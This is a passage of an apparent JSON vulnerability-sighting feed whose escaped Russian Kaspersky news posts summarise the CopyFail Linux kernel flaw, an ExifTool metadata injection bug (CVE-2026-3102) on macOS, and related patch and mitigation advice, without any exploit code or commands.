\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CopyFail.\n\n\ud83d\udd3b\u041a\u0442\u043e \u0432 \u0437\u043e\u043d\u0435 \u0440\u0438\u0441\u043a\u0430\n\u0411\u043e\u043b\u044c\u0448\u0435 \u0432\u0441\u0435\u0433\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442 \u0441\u0440\u0435\u0434\u0430\u043c \u0441 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438:\n\ud83d\udd34\u043e\u0431\u0449\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438;\n\ud83d\udd34\u0443\u0437\u043b\u044b Kubernetes;\n\ud83d\udd34\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f-\u0430\u0433\u0435\u043d\u0442\u044b \u0434\u043b\u044f CI/CD-\u0437\u0430\u0434\u0430\u0447 (CI-\u0440\u0430\u043d\u043d\u0435\u0440\u044b), \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u0432\u044b\u0442\u044f\u0433\u0438\u0432\u0430\u043d\u0438\u0435 (pull request);\n\ud83d\udd34\u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438 \u0430\u0433\u0435\u043d\u0442\u044b, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b.\n\n\u25b6\ufe0f\u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f\n\ud83d\udfe2\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f. \u041f\u0430\u0442\u0447 \u0432\u044b\u0448\u0435\u043b \u2014 \u044d\u0442\u043e \u043a\u043e\u043c\u043c\u0438\u0442 a664bf3d603d. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0443\u0436\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435. \n\ud83d\udfe2\u0414\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u0435\u0440\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u044c \u044f\u0434\u0440\u0430 algif_aead.\n\ud83d\udfe2\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 PoC, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 Python, \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f Kaspersky Endpoint Detection and Response Expert.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u2014 \u0432 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0435 \u043d\u0430 Securelist.\n\n\ud83d\udc99 Kaspersky \u0432 \u0412\u041a\n\ud83d\udcac Kaspersky \u0432 Max\n\ud83d\udcac \u041f\u043e\u0440\u0432\u0430\u043b\u0438 \u0434\u0432\u0430 \u0442\u0440\u043e\u044f\u043d\u0430 \u0432 Max", "creation_timestamp": "2026-09-09T03:00:07.379147Z"}, {"uuid": "80b310cf-8043-4282-95c8-fb6bab1bf184", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31629", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260909", "content": "", "creation_timestamp": "2026-09-09T04:47:35.188301Z"}, {"uuid": "7e664d29-65a5-43f6-99e2-d2f14161725b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mv3oc4sdrp2x", "content": "Schneider Electric, Siemens, and Aveva issued September Patch Tuesday advisories for ICS products, fixing critical flaws including CVE-2026-3869 in Modicon M580 and CVE-2026-31431 in the Linux kernel. #SchneiderElectric #Siemens #ICS", "creation_timestamp": "2026-09-09T13:45:25.616058Z"}, {"uuid": "9fb72bd0-ce39-44cb-827b-a7801bcf3258", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "published-proof-of-concept", "source": "https://t.me/kasperskylab_ru/7426", "content": "\u0414\u0430\u0439\u0434\u0436\u0435\u0441\u0442 \u043a\u0438\u0431\u0435\u0440\u043d\u043e\u0432\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e \u27a1\ufe0f\n\n\ud83d\udfe2\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043d\u0430\u0448\u0435\u0433\u043e \u043e\u043f\u0440\u043e\u0441\u0430 \u2014 \u0441 \u0442\u0440\u0430\u0432\u043b\u0435\u0439 \u0432 \u0441\u0435\u0442\u0438 \u0441\u0442\u0430\u043b\u043a\u0438\u0432\u0430\u043b\u0438\u0441\u044c 13% \u0434\u0435\u0442\u0435\u0439, \u0430 22% \u0445\u043e\u0442\u044f \u0431\u044b \u0440\u0430\u0437 \u0437\u0430 \u0433\u043e\u0434 \u043e\u0431\u0449\u0430\u043b\u0438\u0441\u044c \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u0441 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e\u043b\u0435\u0442\u043d\u0438\u043c\u0438 \u043d\u0435\u0437\u043d\u0430\u043a\u043e\u043c\u0446\u0430\u043c\u0438. \u041e \u0432\u0430\u0436\u043d\u044b\u0445 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u2014 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c \u0432 \u043f\u043e\u0441\u0442\u0435.\n\n\ud83d\udfe2\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0433\u0440\u0443\u043f\u043f\u044b Cloud Atlas: \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0438 \u0441\u0432\u043e\u0439 \u0430\u0440\u0441\u0435\u043d\u0430\u043b. \u041f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u2014 \u0433\u043e\u0441\u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432\u0430 \u0438 \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u043d\u0430 Securelist.\n\n\ud83d\udfe2\u0421 \u043d\u0430\u0447\u0430\u043b\u0430 2026 \u0433\u043e\u0434\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0443\u0436\u0435 \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u0441 13 \u0442\u044b\u0441\u044f\u0447\u0430\u043c\u0438 \u0430\u0442\u0430\u043a \u0447\u0435\u0440\u0435\u0437 \u042d\u0414\u041e \u2014 \u044d\u0442\u043e \u0431\u043e\u043b\u044c\u0448\u0435, \u0447\u0435\u043c \u0437\u0430 \u0432\u0435\u0441\u044c 2025 \u0433\u043e\u0434. \u041e\u0431\u044a\u044f\u0441\u043d\u044f\u0435\u043c \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u0438 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u043a\u0443 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \n\n\ud83d\udfe2\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Kaspersky GReAT\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-3102 \u0432\u00a0ExifTool, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u0443\u0442\u0438\u043b\u0438\u0442\u0435\u00a0\u0434\u043b\u044f macOS. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0451 \u0434\u043b\u044f \u043f\u043e\u0445\u0438\u0449\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0432 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0430 Securelist.\n\n\u0421\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0438\u0437 \u043c\u0438\u0440\u0430 \u0431\u0438\u0437\u043d\u0435\u0441\u0430:\n\ud83d\udfe2\u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u044b \u0430\u0442\u0430\u043a \u043d\u0430 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\ud83d\udfe2\u0414\u0430\u0451\u043c \u0441\u043e\u0432\u0435\u0442\u044b \u043f\u043e \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 Kaspersky Scan Engine.\n\n\u0418 \u0435\u0449\u0451 \u043a\u043e\u0435-\u0447\u0442\u043e \u0441 \u041f\u041c\u042d\u0424 2026:\n\ud83d\udfe2 \u0415\u0432\u0433\u0435\u043d\u0438\u0439 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u0438\u0439 \u043e \u043f\u043b\u0430\u043d\u0430\u0445 \u043d\u0430 \u043c\u0435\u0440\u043e\u043f\u0440\u0438\u044f\u0442\u0438\u0435.\n\ud83d\udfe2 \u042d\u043a\u0441\u043a\u0443\u0440\u0441\u0438\u044f \u043f\u043e \u0441\u0442\u0435\u043d\u0434\u0443 \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb.\n\ud83d\udfe2 \u0421\u043f\u0435\u0446\u0432\u044b\u043f\u0443\u0441\u043a \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044f \u00ab\u041a\u0438\u0431\u0435\u0440\u043f\u0443\u043b\u044c\u0441\u00bb \u0438 \u043a\u0440\u0430\u0442\u043a\u0438\u0439 \u043e\u0431\u0437\u043e\u0440 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437 \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430 \u043e\u0442 \u0414\u043c\u0438\u0442\u0440\u0438\u044f \u0413\u0430\u043b\u043e\u0432\u0430, \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f Kaspersky GReAT \u0432 \u0420\u043e\u0441\u0441\u0438\u0438.\n\ud83d\udfe2 \u0424\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f \u0410\u043d\u0442\u043e\u043d\u0430 \u0418\u0432\u0430\u043d\u043e\u0432\u0430, \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0430, \u043f\u0440\u043e \u043c\u0443\u043b\u044c\u0442\u0438\u0430\u0433\u0435\u043d\u0442\u043d\u044b\u0435 \u0418\u0418-\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u0443 \u0434\u043b\u044f \u0442\u0443\u0440\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043e\u0442\u0440\u0430\u0441\u043b\u0438. \u0410 \u0442\u0430\u043a\u0436\u0435 \u0435\u0433\u043e \u0432\u043f\u0435\u0447\u0430\u0442\u043b\u0435\u043d\u0438\u044f \u043e\u0442 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0434\u043d\u044f \u041f\u041c\u042d\u0424.\n\ud83d\udfe2 \u041e \u043c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u043e\u043c \u0430\u0441\u043f\u0435\u043a\u0442\u0435 \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0430 \u043c\u0435\u0440\u043e\u043f\u0440\u0438\u044f\u0442\u0438\u0438 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u042e\u043b\u0438\u044f \u0428\u043b\u044b\u0447\u043a\u043e\u0432\u0430, \u0432\u0438\u0446\u0435-\u043f\u0440\u0435\u0437\u0438\u0434\u0435\u043d\u0442 \u043f\u043e PA (public affairs).\n\ud83d\udfe2\u041c\u0438\u0445\u0430\u0438\u043b \u0413\u0435\u0440\u0431\u0435\u0440, \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440, \u043f\u0440\u043e \u043e\u0434\u043d\u0443 \u0438\u0437 \u0432\u0430\u0436\u043d\u044b\u0445 \u0442\u0435\u043c \u0437\u0430\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043d\u044f \u041f\u041c\u042d\u0424 \u2014 \u0437\u0430\u0449\u0438\u0442\u0443 \u0434\u0435\u0442\u0435\u0439 \u0432 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u043c \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435.  \n\n#KD_\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442", "creation_timestamp": "2026-09-10T00:00:56.188821Z"}, {"uuid": "daa85423-5be9-43e3-bba7-2f85ad732ccb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "published-proof-of-concept", "source": "https://t.me/kasperskylab_ru/7421", "content": "\ud83c\udf4f \u0411\u0440\u0435\u0448\u044c \u0432 ExifTool \u2014 \u0438 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 macOS\n\u00a0\n\u0412 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u043d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0438\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u044b Kaspersky GReAT\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-3102 \u0432\u00a0ExifTool\u00a0\u2014 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u0443\u0442\u0438\u043b\u0438\u0442\u0435\u00a0\u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439, PDF, \u0430\u0443\u0434\u0438\u043e \u0438 \u0432\u0438\u0434\u0435\u043e. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0430 \u0431\u0430\u0437\u0435 \u041e\u0421\u00a0macOS \u0438 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0435\u0433\u043e\u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445.\n\u00a0\n\u0427\u0442\u043e\u0431\u044b \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043b\u0430\u0437\u0435\u0439\u043a\u043e\u0439, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u0430\u0448\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u0430 \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u043f\u043e\u043b\u0435 DateTimeOriginal. \u0422\u0430\u043a\u0436\u0435 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043e \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0442\u0435\u0433\u043e\u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0444\u0438\u043b\u044c\u0442\u0440 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438.\n\u00a0\n\u041f\u043e\u0441\u043b\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0444\u0430\u0439\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0436\u0435\u0440\u0442\u0432\u044b \u0442\u0440\u043e\u044f\u043d\u0435\u0446 \u0434\u043b\u044f \u043f\u043e\u0445\u0438\u0449\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f \u043f\u043e \u0441\u0435\u0442\u0438.\n\u00a0\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440\u00a0\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-3102 \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0432 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0430 Securelist.\n\n\ud83d\udc99 Kaspersky \u0432 \u0412\u041a\n\ud83d\udcac Kaspersky \u0432 Max\n\ud83d\udcac \u041f\u043e\u0440\u0432\u0430\u043b\u0438 \u0434\u0432\u0430 \u0442\u0440\u043e\u044f\u043d\u0430 \u0432 Max", "creation_timestamp": "2026-09-10T00:00:56.235593Z"}, {"uuid": "7bb822d7-935d-4a41-b8c2-584d94471420", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://t.me/kasperskylab_ru/7393", "content": "\u0412 \u0441\u0432\u0435\u0436\u0435\u043c #kaspersky_securityweek:\n\n\ud83d\udfe2\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Cloudflare \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u043e\u0442\u0447\u0451\u0442 \u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u0418\u0418-\u0430\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u0430 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Claude Mythos \u043d\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u043e \u0438 \u0441\u043a\u043e\u043d\u0441\u0442\u0440\u0443\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0447\u0435\u043c \u043f\u0440\u043e\u0438\u043b\u043b\u044e\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0438\u0445 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c. \u0412 \u043e\u0442\u0447\u0451\u0442\u0435 Cloudflare \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043e\u0431\u0432\u044f\u0437\u043a\u0438 \u0432\u043e\u043a\u0440\u0443\u0433 \u0418\u0418-\u0430\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u0430 \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u0438\u0441\u043a\u0430 \u043e\u0448\u0438\u0431\u043e\u043a, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0437\u0430\u043a\u0440\u044b\u0442\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0440\u0430\u0441\u0442\u0443\u0449\u0435\u0439 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u0438 \u0442\u0430\u043a\u0438\u0445 \u0430\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442\u043e\u0432.\n\n\ud83d\udfe2\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-3102 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 ExifTool \u0438 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b\u0438 \u043e \u043d\u043e\u0432\u044b\u0445 \u043f\u0440\u0438\u0451\u043c\u0430\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Cloud Atlas, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438.\n\n\ud83d\udfe2\u041c\u0430\u0441\u0441\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u043f\u0430\u043a\u0435\u0442\u044b \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 NPM, 